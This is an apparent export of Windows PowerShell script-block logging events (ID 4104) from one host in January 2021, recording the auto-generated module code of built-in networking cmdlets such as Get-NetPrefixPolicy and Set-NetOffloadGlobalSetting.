} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PreferredLifetime'; ParameterType = 'System.TimeSpan'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance[]'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{ Name = 'ReturnValue'; ParameterType = 'System.UInt32'; Bindings = 'Error'; Value = $null; IsValuePresent = $false }
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Create', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
{ @('ByInterfaceIndex') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DestinationPrefix')) {
[object]$__cmdletization_value = ${DestinationPrefix}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DestinationPrefix'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DestinationPrefix'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('InterfaceIndex')) {
[object]$__cmdletization_value = ${InterfaceIndex}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InterfaceIndex'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InterfaceIndex'; ParameterType = 'System.UInt32'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('AddressFamily')) {
[object]$__cmdletization_value = ${AddressFamily}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AddressFamily'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.AddressFamily'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'AddressFamily'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetRoute.AddressFamily'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NextHop')) {
[object]$__cmdletization_value = ${NextHop}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NextHop'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NextHop'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSB
ScriptBlock ID: d9feeec4-80a3-49d6-9109-bf7154d3ee3f
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1812 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:02 AM | dfeadd90-ee34-0000-c2ed-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetPrefixPolicy'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetPrefixPolicy
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetPrefixPolicy')]
param(
[Parameter(ParameterSetName='ByName', Position=0)]
[ValidateNotNull()]
[string[]]
${Prefix},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint32[]]
${Precedence},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[uint32[]]
${Label},
[Parameter(ParameterSetName='ByName')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Prefix') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Prefix})
$__cmdletization_queryBuilder.FilterByProperty('Prefix', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('Precedence') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Precedence})
$__cmdletization_queryBuilder.FilterByProperty('Precedence', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('Label') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Label})
$__cmdletization_queryBuilder.FilterByProperty('Label', $__cmdletization_values, $false, 'Default')
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetPrefixPolicy.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetPrefixPolicy' -Alias '*'
ScriptBlock ID: ffa0b4ed-740f-41f5-accc-624296abd652
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1811 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:02 AM | dfeadd90-ee34-0001-ed2a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 3):
}
}
# .EXTERNALHELP MSFT_NetOffloadGlobalSetting.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetOffloadGlobalSetting' -Alias '*'
ScriptBlock ID: bf300f54-0cf1-49c9-8f9e-176563e45099
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1810 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:02 AM | dfeadd90-ee34-0001-e92a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 3):
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ReceiveSideScaling')) {
[object]$__cmdletization_value = ${ReceiveSideScaling}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ReceiveSideScaling'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.EnabledDisabledEnum'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ReceiveSideScaling'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.EnabledDisabledEnum'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ReceiveSegmentCoalescing')) {
[object]$__cmdletization_value = ${ReceiveSegmentCoalescing}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ReceiveSegmentCoalescing'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.EnabledDisabledEnum'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ReceiveSegmentCoalescing'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.EnabledDisabledEnum'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Chimney')) {
[object]$__cmdletization_value = ${Chimney}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Chimney'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.ChimneyEnum'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Chimney'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.ChimneyEnum'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('TaskOffload')) {
[object]$__cmdletization_value = ${TaskOffload}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TaskOffload'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.EnabledDisabledEnum'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'TaskOffload'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.EnabledDisabledEnum'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NetworkDirect')) {
[object]$__cmdletization_value = ${NetworkDirect}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NetworkDirect'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.EnabledDisabledEnum'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NetworkDirect'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.EnabledDisabledEnum'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NetworkDirectAcrossIPSubnets')) {
[object]$__cmdletization_value = ${NetworkDirectAcrossIPSubnets}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NetworkDirectAcrossIPSubnets'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.AllowedBlockedEnum'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NetworkDirectAcrossIPSubnets'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.AllowedBlockedEnum'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PacketCoalescingFilter')) {
[object]$__cmdletization_value = ${PacketCoalescingFilter}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PacketCoalescingFilter'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.EnabledDisabledEnum'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'PacketCoalescingFilter'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.EnabledDisabledEnum'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
ScriptBlock ID: bf300f54-0cf1-49c9-8f9e-176563e45099
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1809 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 3600 | 2968 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:02 AM | dfeadd90-ee34-0001-e92a-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 3):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetOffloadGlobalSetting'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function Get-NetOffloadGlobalSetting
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetOffloadGlobalSetting')]
param(
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.EnabledDisabledEnum[]]
${ReceiveSideScaling},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.EnabledDisabledEnum[]]
${ReceiveSegmentCoalescing},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.ChimneyEnum[]]
${Chimney},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.EnabledDisabledEnum[]]
${TaskOffload},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.EnabledDisabledEnum[]]
${NetworkDirect},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.AllowedBlockedEnum[]]
${NetworkDirectAcrossIPSubnets},
[Parameter(ParameterSetName='ByName')]
[ValidateNotNull()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.EnabledDisabledEnum[]]
${PacketCoalescingFilter},
[Parameter(ParameterSetName='ByName')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('ReceiveSideScaling') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ReceiveSideScaling})
$__cmdletization_queryBuilder.FilterByProperty('ReceiveSideScaling', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('ReceiveSegmentCoalescing') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${ReceiveSegmentCoalescing})
$__cmdletization_queryBuilder.FilterByProperty('ReceiveSegmentCoalescing', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('Chimney') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Chimney})
$__cmdletization_queryBuilder.FilterByProperty('Chimney', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('TaskOffload') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${TaskOffload})
$__cmdletization_queryBuilder.FilterByProperty('TaskOffload', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('NetworkDirect') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${NetworkDirect})
$__cmdletization_queryBuilder.FilterByProperty('NetworkDirect', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('NetworkDirectAcrossIPSubnets') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${NetworkDirectAcrossIPSubnets})
$__cmdletization_queryBuilder.FilterByProperty('NetworkDirectAcrossIPSubnets', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('PacketCoalescingFilter') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${PacketCoalescingFilter})
$__cmdletization_queryBuilder.FilterByProperty('PacketCoalescingFilter', $__cmdletization_values, $false, 'Default')
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetOffloadGlobalSetting.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetOffloadGlobalSetting' -Alias '*'
function Set-NetOffloadGlobalSetting
{
[CmdletBinding(DefaultParameterSetName='InputObject (cdxml)', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetOffloadGlobalSetting')]
param(
[Parameter(ParameterSetName='InputObject (cdxml)', ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetOffloadGlobalSetting')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.EnabledDisabledEnum]
${ReceiveSideScaling},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.EnabledDisabledEnum]
${ReceiveSegmentCoalescing},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.ChimneyEnum]
${Chimney},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.EnabledDisabledEnum]
${TaskOffload},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.EnabledDisabledEnum]
${NetworkDirect},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.AllowedBlockedEnum]
${NetworkDirectAcrossIPSubnets},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetOffloadGlobalSetting.EnabledDisabledEnum]
${PacketCoalescingFilter},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
ScriptBlock ID: bf300f54-0cf1-49c9-8f9e-176563e45099
